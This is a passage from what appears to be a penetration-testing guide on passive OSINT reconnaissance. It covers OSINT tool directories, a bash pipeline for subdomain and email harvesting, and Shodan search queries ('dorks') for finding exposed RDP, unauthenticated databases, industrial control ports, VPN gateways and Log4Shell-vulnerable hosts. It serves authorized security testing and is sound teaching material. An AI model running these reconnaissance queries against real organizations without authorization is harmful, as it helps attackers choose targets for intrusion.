&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Navigate to appropriate branch&lt;/strong&gt;&lt;br&gt;
For each data point, navigate to the corresponding OSINT Framework branch and systematically execute relevant tools.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Document and pivot&lt;/strong&gt;&lt;br&gt;
Record all findings. Each new piece of intelligence becomes a new starting point for additional queries.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Complete OSINT Framework Branches Relevant to Penetration Testing:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OSINT Framework
├── Domain Name
│   ├── WHOIS Records → DomainTools, ViewDNS
│   ├── Subdomains → crt.sh, Subfinder, Amass
│   ├── DNS Records → SecurityTrails, DNSdumpster
│   ├── Website → WaybackMachine, BuiltWith, Wappalyzer
│   └── Email Addresses → Hunter.io, theHarvester
│
├── Email Address
│   ├── Email Reputation → MXToolbox
│   ├── Breach Data → HaveIBeenPwned, Dehashed
│   ├── Email Headers → MXHeaders
│   └── Social Networks linked to email
│
├── IP Address
│   ├── Geolocation → MaxMind, ip-api.com
│   ├── Hosting Provider → ARIN WHOIS
│   ├── Open Ports → Shodan, Censys
│   ├── Reverse DNS → ViewDNS
│   └── Blacklists → MXToolbox Blacklist Check
│
├── Username
│   ├── Social Networks → Sherlock, WhatsMyName
│   ├── Forum Search
│   └── Gaming Profiles
│
├── Person
│   ├── Public Records → Spokeo, Intelius
│   ├── Social Networks → LinkedIn, Twitter, Facebook
│   ├── Email Search → Hunter.io
│   ├── Photo Search → Google Images
│   └── Phone Numbers → Twilio Lookup
│
└── Organization
    ├── Official Records → LinkedIn Company Page, SEC EDGAR
    ├── Job Listings → LinkedIn Jobs, Indeed, Glassdoor
    ├── Financials → OpenCorporates, Companies House
    ├── Employees → LinkedIn Employee Search
    └── Technology → BuiltWith, Wappalyzer, job listings
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  OSINT Combine Advanced Workflows
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://www.osintcombine.com/" rel="noopener noreferrer"&gt;https://www.osintcombine.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key OSINT Combine tools for professional use:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Social Media Search (Cross-Platform Username Investigation)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When a username or email is discovered, OSINT Combine provides an efficient cross-platform search capability without requiring separate manual searches on each platform.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Reverse Image Search&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Critical for verifying identities and finding additional accounts associated with a face:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Confirm that a LinkedIn profile photo matches other profiles (verifying identity)&lt;/li&gt;
&lt;li&gt;Find additional social media accounts using the same profile photo&lt;/li&gt;
&lt;li&gt;Detect fake LinkedIn profiles (using stock photos)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;3. Map Searching — Geolocation OSINT&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Tools for extracting and verifying geographic information from images and social media posts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Extract GPS coordinates from image EXIF data&lt;/li&gt;
&lt;li&gt;Cross-reference GPS coordinates with satellite imagery&lt;/li&gt;
&lt;li&gt;Verify office building locations for physical penetration testing&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;4. Domain Investigation Batch Processing&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When multiple domains are discovered (from CT logs, WHOIS, job listings), OSINT Combine enables bulk processing.&lt;/p&gt;

&lt;h4&gt;
  
  
  SMART — Advanced Usage
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://smart.myosint.training/" rel="noopener noreferrer"&gt;https://smart.myosint.training/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Professional SMART workflows:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When encountering an unusual intelligence requirement (e.g., "find corporate registration records for a subsidiary in Singapore"), SMART quickly surfaces specialized databases and tools that would otherwise require extensive research:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SMART Search: "corporate registry singapore"
Results: 
- ACRA (Accounting and Corporate Regulatory Authority of Singapore)
- Singapore Business Database
- ASEAN OSINT resources
- Regional investigative journalism databases
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This makes SMART particularly valuable for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Country-specific reconnaissance&lt;/li&gt;
&lt;li&gt;Specialized industry databases (maritime, aviation, telecommunications)&lt;/li&gt;
&lt;li&gt;Non-English language resources&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  SpiderFoot HX — Cloud-Automated OSINT
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://www.spiderfoot.net/hx/" rel="noopener noreferrer"&gt;https://www.spiderfoot.net/hx/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;SpiderFoot HX is the commercial, cloud-hosted version of SpiderFoot. Advantages over self-hosted:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No infrastructure to manage&lt;/li&gt;
&lt;li&gt;Pre-configured API keys for major data sources&lt;/li&gt;
&lt;li&gt;Team collaboration features&lt;/li&gt;
&lt;li&gt;Automated scheduled scans for continuous monitoring&lt;/li&gt;
&lt;li&gt;Historical scan comparison (track changes in target's attack surface)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Use case:&lt;/strong&gt; Many professional penetration testing firms run SpiderFoot HX as a continuous monitoring service for clients between annual penetration tests, alerting on new assets, subdomain additions, and credential exposures.&lt;/p&gt;

&lt;h4&gt;
  
  
  Building Automated OSINT Pipelines
&lt;/h4&gt;

&lt;p&gt;Senior penetration testers build automated pipelines that chain multiple tools together:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# Professional Passive OSINT Pipeline&lt;/span&gt;
&lt;span class="c"&gt;# Run from Kali Linux with all tools installed&lt;/span&gt;

&lt;span class="nv"&gt;DOMAIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"targetco.com"&lt;/span&gt;
&lt;span class="nv"&gt;ORG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Target Company Inc."&lt;/span&gt;
&lt;span class="nv"&gt;OUTPUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/tmp/osint_&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;DOMAIN&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;_&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%Y%m%d&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[Phase 1] DNS Intelligence"&lt;/span&gt;
&lt;span class="c"&gt;# Subdomains from Certificate Transparency&lt;/span&gt;
subfinder &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; &lt;span class="nt"&gt;-all&lt;/span&gt; &lt;span class="nt"&gt;-recursive&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/subdomains_subfinder.txt
amass enum &lt;span class="nt"&gt;-passive&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/subdomains_amass.txt

&lt;span class="c"&gt;# DNS records&lt;/span&gt;
dig &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; ANY +short &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/dns_any.txt
dig &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; MX +short &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/dns_mx.txt
dig &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; TXT +short &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/dns_txt.txt
dig _dmarc.&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; TXT +short &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/dmarc.txt

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[Phase 2] Historical Intelligence"&lt;/span&gt;
&lt;span class="c"&gt;# Wayback Machine URLs&lt;/span&gt;
waybackurls &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/wayback_urls.txt
gau &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/gau_urls.txt

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[Phase 3] Email and Personnel"&lt;/span&gt;
&lt;span class="c"&gt;# Email harvesting&lt;/span&gt;
theHarvester &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; all &lt;span class="nt"&gt;-l&lt;/span&gt; 500 &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/theharvester.html

&lt;span class="c"&gt;# Subdomain resolution&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/subdomains_subfinder.txt &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/subdomains_amass.txt | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/all_subdomains.txt
dnsx &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/all_subdomains.txt &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/resolved_subdomains.txt

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[Phase 4] SSL Certificate Analysis"&lt;/span&gt;
&lt;span class="c"&gt;# Certificate transparency mining&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://crt.sh/?q=%.&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;DOMAIN&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;output=json"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import json,sys; [print(e.get('name_value','')) for e in json.load(sys.stdin)]"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/ct_subdomains.txt

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[Phase 5] OSINT Aggregation"&lt;/span&gt;
&lt;span class="c"&gt;# Combine all discovered subdomains&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/subdomains_subfinder.txt &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/subdomains_amass.txt &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/ct_subdomains.txt | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/MASTER_subdomains.txt

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Pipeline complete. Results: &lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Total subdomains discovered: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; &amp;lt; &lt;span class="nv"&gt;$OUTPUT&lt;/span&gt;/MASTER_subdomains.txt&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  3.1.21 Shodan — The Search Engine for Everything Connected
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://www.shodan.io/" rel="noopener noreferrer"&gt;https://www.shodan.io/&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Internet-connected device search engine&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Cost:&lt;/strong&gt; Free (limited), Freelancer ($59/month), Small Business ($299/month), Corporate (custom)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Created by:&lt;/strong&gt; John Matherly (2009)&lt;/p&gt;

&lt;p&gt;Shodan is one of the most powerful passive reconnaissance tools in existence. Unlike Google, which indexes website content, Shodan continuously scans the entire Internet and indexes the &lt;strong&gt;service banners&lt;/strong&gt; — the metadata returned by servers when a connection is made.&lt;/p&gt;

&lt;p&gt;This means Shodan knows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Every IP address with an open port on the Internet&lt;/li&gt;
&lt;li&gt;What software is running on each port (with version numbers)&lt;/li&gt;
&lt;li&gt;SSL certificate details&lt;/li&gt;
&lt;li&gt;Geographic location and ISP of every device&lt;/li&gt;
&lt;li&gt;Historical data going back years&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;
  
  
  What Shodan Indexes
&lt;/h4&gt;

&lt;p&gt;Shodan does not wait for you to search — it continuously probes every IP address on the Internet across hundreds of ports and stores what each service returns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Shodan Banner Example for a Web Server:
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.4.3
Content-Type: text/html
Date: Sun, 01 Jan 2024 12:00:00 GMT
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This banner tells Shodan (and therefore any searcher):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Operating system: Ubuntu&lt;/li&gt;
&lt;li&gt;Web server: Apache 2.4.41 (specific vulnerability-checkable version)&lt;/li&gt;
&lt;li&gt;PHP version: 7.4.3 (end-of-life — no security patches)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Shodan indexing covers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HTTP (80, 8080, 8443, 8888, etc.)&lt;/li&gt;
&lt;li&gt;HTTPS (443)&lt;/li&gt;
&lt;li&gt;SSH (22)&lt;/li&gt;
&lt;li&gt;FTP (21)&lt;/li&gt;
&lt;li&gt;Telnet (23)&lt;/li&gt;
&lt;li&gt;SMB (445)&lt;/li&gt;
&lt;li&gt;RDP (3389)&lt;/li&gt;
&lt;li&gt;VNC (5900-5901)&lt;/li&gt;
&lt;li&gt;SNMP (161)&lt;/li&gt;
&lt;li&gt;DNS (53)&lt;/li&gt;
&lt;li&gt;SMTP/IMAP/POP3 (25, 143, 110)&lt;/li&gt;
&lt;li&gt;Database ports (3306 MySQL, 5432 PostgreSQL, 1433 MSSQL, 27017 MongoDB)&lt;/li&gt;
&lt;li&gt;Industrial control systems (Modbus 502, DNP3 20000, EtherNet/IP 44818)&lt;/li&gt;
&lt;li&gt;IoT devices (cameras, printers, routers, NAS)&lt;/li&gt;
&lt;li&gt;Kubernetes API (6443, 8001)&lt;/li&gt;
&lt;li&gt;Docker API (2375, 2376)&lt;/li&gt;
&lt;li&gt;Elasticsearch (9200, 9300)&lt;/li&gt;
&lt;li&gt;Redis (6379)&lt;/li&gt;
&lt;li&gt;memcached (11211)&lt;/li&gt;
&lt;li&gt;Cassandra (9042)&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Shodan Search Syntax
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Basic Searches:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Search for services belonging to an organization&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company Inc."&lt;/span&gt;

&lt;span class="c"&gt;# Search for services on a specific IP&lt;/span&gt;
ip:203.0.113.50

&lt;span class="c"&gt;# Search for services in an IP range&lt;/span&gt;
net:203.0.113.0/24

&lt;span class="c"&gt;# Search for services on a specific hostname&lt;/span&gt;
&lt;span class="nb"&gt;hostname&lt;/span&gt;:targetco.com

&lt;span class="c"&gt;# Search for services in a country&lt;/span&gt;
country:US org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt;

&lt;span class="c"&gt;# Search for specific ports&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; port:3389   &lt;span class="c"&gt;# RDP exposed&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; port:22     &lt;span class="c"&gt;# SSH exposed&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; port:23     &lt;span class="c"&gt;# Telnet (critical finding)&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; port:445    &lt;span class="c"&gt;# SMB&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; port:3306   &lt;span class="c"&gt;# MySQL&lt;/span&gt;

&lt;span class="c"&gt;# Search for specific products/technologies&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; product:&lt;span class="s2"&gt;"Apache httpd"&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; product:&lt;span class="s2"&gt;"nginx"&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; product:&lt;span class="s2"&gt;"Microsoft IIS"&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; product:&lt;span class="s2"&gt;"OpenSSH"&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; product:&lt;span class="s2"&gt;"MySQL"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Advanced Filters:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find specific software versions&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; product:&lt;span class="s2"&gt;"Apache httpd"&lt;/span&gt; version:&lt;span class="s2"&gt;"2.4.41"&lt;/span&gt;

&lt;span class="c"&gt;# Find SSL certificate information&lt;/span&gt;
ssl.cert.subject.CN:&lt;span class="s2"&gt;"targetco.com"&lt;/span&gt;
ssl.cert.subject.O:&lt;span class="s2"&gt;"Target Company Inc."&lt;/span&gt;

&lt;span class="c"&gt;# Find by SSL certificate expiry (expired certs)&lt;/span&gt;
ssl.cert.expired:true org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt;

&lt;span class="c"&gt;# Find devices with specific vulnerabilities (Shodan CVE search)&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; vuln:CVE-2021-44228   &lt;span class="c"&gt;# Log4Shell&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; vuln:CVE-2021-26855   &lt;span class="c"&gt;# ProxyLogon (Exchange)&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; vuln:CVE-2019-19781   &lt;span class="c"&gt;# Citrix Netscaler&lt;/span&gt;

&lt;span class="c"&gt;# Find industrial control systems&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; port:502   &lt;span class="c"&gt;# Modbus&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; port:44818  &lt;span class="c"&gt;# EtherNet/IP (Rockwell PLC)&lt;/span&gt;

&lt;span class="c"&gt;# Find default credentials still in use (content in banner)&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; &lt;span class="s2"&gt;"default password"&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; http.title:&lt;span class="s2"&gt;"admin"&lt;/span&gt; http.status:200

&lt;span class="c"&gt;# Find specific web technologies&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; http.component:&lt;span class="s2"&gt;"WordPress"&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; http.component:&lt;span class="s2"&gt;"Joomla"&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; http.component:&lt;span class="s2"&gt;"Drupal"&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; http.component:&lt;span class="s2"&gt;"Tomcat"&lt;/span&gt;

&lt;span class="c"&gt;# Find cloud storage open to public&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; http.title:&lt;span class="s2"&gt;"Index of /"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Shodan Dorks (High-Value Search Patterns):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Exposed databases&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; product:&lt;span class="s2"&gt;"MongoDB"&lt;/span&gt; &lt;span class="nt"&gt;-authentication&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; port:9200 product:&lt;span class="s2"&gt;"Elastic"&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; port:6379 product:&lt;span class="s2"&gt;"Redis"&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; port:27017

&lt;span class="c"&gt;# Remote desktop and management&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; port:3389 product:&lt;span class="s2"&gt;"Remote Desktop Protocol"&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; port:5900 product:&lt;span class="s2"&gt;"VNC"&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; has_screenshot:true port:3389   &lt;span class="c"&gt;# Screenshots of exposed RDP logins&lt;/span&gt;

&lt;span class="c"&gt;# Printers&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; port:9100 product:&lt;span class="s2"&gt;"Jetdirect"&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; http.title:&lt;span class="s2"&gt;"Printer"&lt;/span&gt;

&lt;span class="c"&gt;# Network devices&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; port:161 product:&lt;span class="s2"&gt;"SNMP"&lt;/span&gt;   &lt;span class="c"&gt;# SNMP (community string exposure)&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; http.title:&lt;span class="s2"&gt;"Cisco"&lt;/span&gt; port:443

&lt;span class="c"&gt;# VPN gateways&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; product:&lt;span class="s2"&gt;"Fortinet SSL VPN"&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; product:&lt;span class="s2"&gt;"Palo Alto Networks"&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; product:&lt;span class="s2"&gt;"Pulse Secure"&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; product:&lt;span class="s2"&gt;"Citrix"&lt;/span&gt;

&lt;span class="c"&gt;# Building management and IoT&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; product:&lt;span class="s2"&gt;"BACnet"&lt;/span&gt;
org:&lt;span class="s2"&gt;"Target Company"&lt;/span&gt; port:47808
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Shodan CLI Tool
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install Shodan CLI&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install &lt;/span&gt;shodan

&lt;span class="c"&gt;# Initialize with API key&lt;/span&gt;
shodan init YOUR_API_KEY

&lt;span class="c"&gt;# Basic search&lt;/span&gt;
shodan search &lt;span class="s1"&gt;'org:"Target Company Inc."'&lt;/span&gt;

&lt;span class="c"&gt;# Show all services for an IP&lt;/span&gt;
shodan host 203.0.113.50

&lt;span class="c"&gt;# Count results&lt;/span&gt;
shodan count &lt;span class="s1"&gt;'org:"Target Company Inc."'&lt;/span&gt;

&lt;span class="c"&gt;# Download results&lt;/span&gt;
shodan download &lt;span class="nt"&gt;--limit&lt;/span&gt; 1000 targetco_results &lt;span class="s1"&gt;'org:"Target Company Inc."'&lt;/span&gt;
shodan parse &lt;span class="nt"&gt;--fields&lt;/span&gt; ip_str,port,transport,product,version targetco_results.json.gz

&lt;span class="c"&gt;# Alert on new services (monitoring)&lt;/span&gt;
shodan alert create &lt;span class="s2"&gt;"Target Company Monitor"&lt;/span&gt; &lt;span class="nt"&gt;--ip&lt;/span&gt; 203.0.113.0/24

&lt;span class="c"&gt;# Show alerts&lt;/span&gt;
shodan alert list
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Shodan for Vulnerability Prioritization
&lt;/h4&gt;

&lt;p&gt;One of Shodan's most powerful features is the &lt;strong&gt;CVE Search&lt;/strong&gt; — identifying known vulnerabilities in discovered systems:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Search for Log4Shell vulnerable systems (CVE-2021-44228)&lt;/span&gt;
shodan search &lt;span class="s1"&gt;'org:"Target Company" vuln:CVE-2021-44228'&lt;/span&gt;

&lt;span class="c"&gt;# Example result showing organization's vulnerable systems&lt;/span&gt;
203.0.113.50    80/tcp   Apache Tomcat 9.0.37 &lt;span class="o"&gt;[&lt;/span&gt;CVE-2021-44228]
203.0.113.51    8080/tcp Apache Tomcat 8.5.51 &lt;span class="o"&gt;[&lt;/span&gt;CVE-2021-44228]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is intelligence that goes directly into the exploitation phase — during active testing, these systems are immediate high-priority targets.&lt;/p&gt;

&lt;h4&gt;
  
  
  Shodan's Screenshotting Feature
&lt;/h4&gt;

&lt;p&gt;Shodan captures screenshots of visual services (RDP, VNC, web interfaces) when they are discovered. This allows passive viewing of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Windows RDP login screens (revealing Windows version and computer name)&lt;/li&gt;
&lt;li&gt;VNC remote desktop sessions (occasionally displaying active sessions)&lt;/li&gt;
&lt;li&gt;Web-based control panels and administrative interfaces&lt;/li&gt;
&lt;li&gt;Industrial HMI (Human-Machine Interface) screens
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
